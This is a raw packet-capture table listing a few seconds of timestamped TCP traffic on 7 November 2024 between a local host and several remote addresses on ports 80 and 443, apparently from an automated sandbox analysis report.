Nov 7, 2024 17:25:41.488641977 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.488651991 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.488658905 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.488694906 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.489399910 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.489412069 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.489423037 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.489445925 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.489464045 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.505053043 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.505079031 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.505131006 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.505141973 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.505168915 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.505188942 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.544121981 CET	443	49933	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.552112103 CET	49933	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.552149057 CET	443	49933	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.553145885 CET	49933	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.553158045 CET	443	49933	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.603662968 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.603682995 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.603696108 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.603745937 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.603758097 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.603768110 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.603821993 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.603821993 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.603821993 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.603821993 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.604304075 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.604346037 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.604357004 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.604398966 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.604422092 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.604423046 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.604434967 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.604446888 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.604460955 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.604475021 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.604490042 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.605195999 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.605206966 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.605216980 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.605262995 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.616117001 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.616142035 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.616218090 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.616226912 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.616287947 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.628647089 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.628678083 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.628731966 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.628739119 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.628787041 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.628807068 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.701850891 CET	443	49933	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.701934099 CET	443	49933	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.701992035 CET	49933	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.702306032 CET	49933	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.702322006 CET	443	49933	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.702332973 CET	49933	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.702339888 CET	443	49933	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.708590984 CET	49937	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.708626032 CET	443	49937	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.708965063 CET	49937	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.709397078 CET	49937	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.709412098 CET	443	49937	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.719341993 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.719382048 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.719393969 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.719440937 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.719485044 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.719505072 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.719542980 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.719542980 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.719680071 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.719733000 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.719826937 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.719844103 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.719856977 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.719868898 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.719888926 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.719918013 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.719964027 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.720191002 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.720745087 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.720758915 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.720771074 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.720828056 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.720846891 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.720860004 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.720864058 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.720896959 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.751390934 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.751415014 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.751477957 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.751487017 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.751545906 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.782326937 CET	443	49934	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.782949924 CET	49934	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.782977104 CET	443	49934	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.783533096 CET	49934	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.783536911 CET	443	49934	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.835150003 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.835192919 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.835205078 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.835216999 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.835231066 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.835241079 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.835273027 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.835310936 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.835330963 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.835341930 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.835356951 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.835386038 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.835494995 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.835561991 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.835592031 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.835603952 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.835635900 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.835645914 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.835838079 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.835860968 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.835870981 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.835880995 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.835935116 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.835948944 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.835966110 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.835983038 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.836497068 CET	49938	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:41.836533070 CET	443	49938	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:41.836766005 CET	49938	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:41.837227106 CET	49939	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:41.837255955 CET	443	49939	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:41.837311983 CET	49939	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:41.839730978 CET	443	49935	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.839991093 CET	49939	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:41.840004921 CET	443	49939	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:41.840344906 CET	49938	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:41.840359926 CET	443	49938	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:41.842283964 CET	49935	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.842300892 CET	443	49935	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.843291044 CET	49935	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.843297005 CET	443	49935	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.874105930 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.874131918 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.874183893 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.874205112 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.874226093 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.874254942 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.875813007 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.875833988 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.875885010 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.875901937 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.875938892 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.882404089 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.882452965 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.882469893 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.882510900 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.914170980 CET	443	49934	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.914308071 CET	443	49934	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.914521933 CET	49934	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.914570093 CET	49934	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.914585114 CET	443	49934	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.914593935 CET	49934	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.914601088 CET	443	49934	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.918399096 CET	49940	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.918442011 CET	443	49940	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.918548107 CET	49940	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.918742895 CET	49940	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.918759108 CET	443	49940	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.950783014 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.950810909 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.950824022 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.950867891 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.950965881 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.951210022 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.951221943 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.951234102 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.951252937 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.951261044 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.951263905 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.951277018 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.951288939 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.951292992 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.951302052 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.951318026 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.951322079 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.951327085 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.951364040 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.952965021 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.952976942 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.952991962 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.953002930 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.953026056 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.953062057 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.972800970 CET	443	49935	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.972836018 CET	443	49935	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.972887039 CET	443	49935	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.972903967 CET	49935	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.972959995 CET	49935	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.973154068 CET	49935	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.973175049 CET	443	49935	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.973191977 CET	49935	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.973196983 CET	443	49935	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.975013971 CET	443	49936	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.975512028 CET	49936	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.975547075 CET	443	49936	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.975986004 CET	49936	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.975996017 CET	443	49936	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.976751089 CET	49941	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.976788998 CET	443	49941	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.976984978 CET	49941	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.977128029 CET	49941	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.977139950 CET	443	49941	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.998249054 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.998311996 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.998315096 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.998352051 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.998528957 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.998553991 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.998604059 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.998622894 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.998663902 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.066195011 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.066226959 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.066237926 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.066257954 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.066268921 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.066281080 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.066283941 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.066293955 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.066332102 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.066353083 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.066365957 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.066411018 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.066977978 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.067002058 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.067013979 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.067022085 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.067040920 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.067047119 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.067059994 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.067059994 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.067087889 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.067106962 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.067754984 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.067768097 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.067816973 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.068373919 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.068424940 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.092562914 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.092597961 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.092643976 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.092658043 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.092706919 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.092730999 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.105257034 CET	443	49936	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.105824947 CET	443	49936	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.105889082 CET	49936	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.105952978 CET	49936	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.105973005 CET	443	49936	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.105988026 CET	49936	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.105993986 CET	443	49936	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.109061003 CET	49943	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.109097958 CET	443	49943	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.109175920 CET	49943	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.109332085 CET	49943	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.109345913 CET	443	49943	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.111082077 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.111095905 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.111166954 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.111200094 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.124036074 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.124090910 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.124129057 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.124134064 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.124238968 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.124676943 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:42.124700069 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:42.182360888 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.182377100 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.182389975 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.182401896 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.182414055 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.182426929 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.182434082 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.182442904 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.182477951 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.182493925 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.182790041 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.182801962 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.182820082 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.182832003 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.182842970 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.182842970 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.182857037 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.182869911 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.182871103 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.182888985 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.182905912 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.183736086 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.183751106 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.183763981 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.183795929 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.183815956 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.275959969 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.275995016 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.276062965 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.276104927 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.297230959 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.297267914 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.297281027 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.297323942 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.297365904 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.298257113 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.298276901 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.298290014 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.298330069 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.298367023 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.298378944 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.298391104 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.298403025 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.298415899 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.298417091 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.298435926 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.298464060 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.298753977 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.298789024 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.298805952 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.298816919 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.298829079 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.298840046 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.298840046 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.298857927 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.298885107 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:42.299448013 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.299469948 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:42.299482107 CET	80	49911	95.215.204.182	192.168.2.6
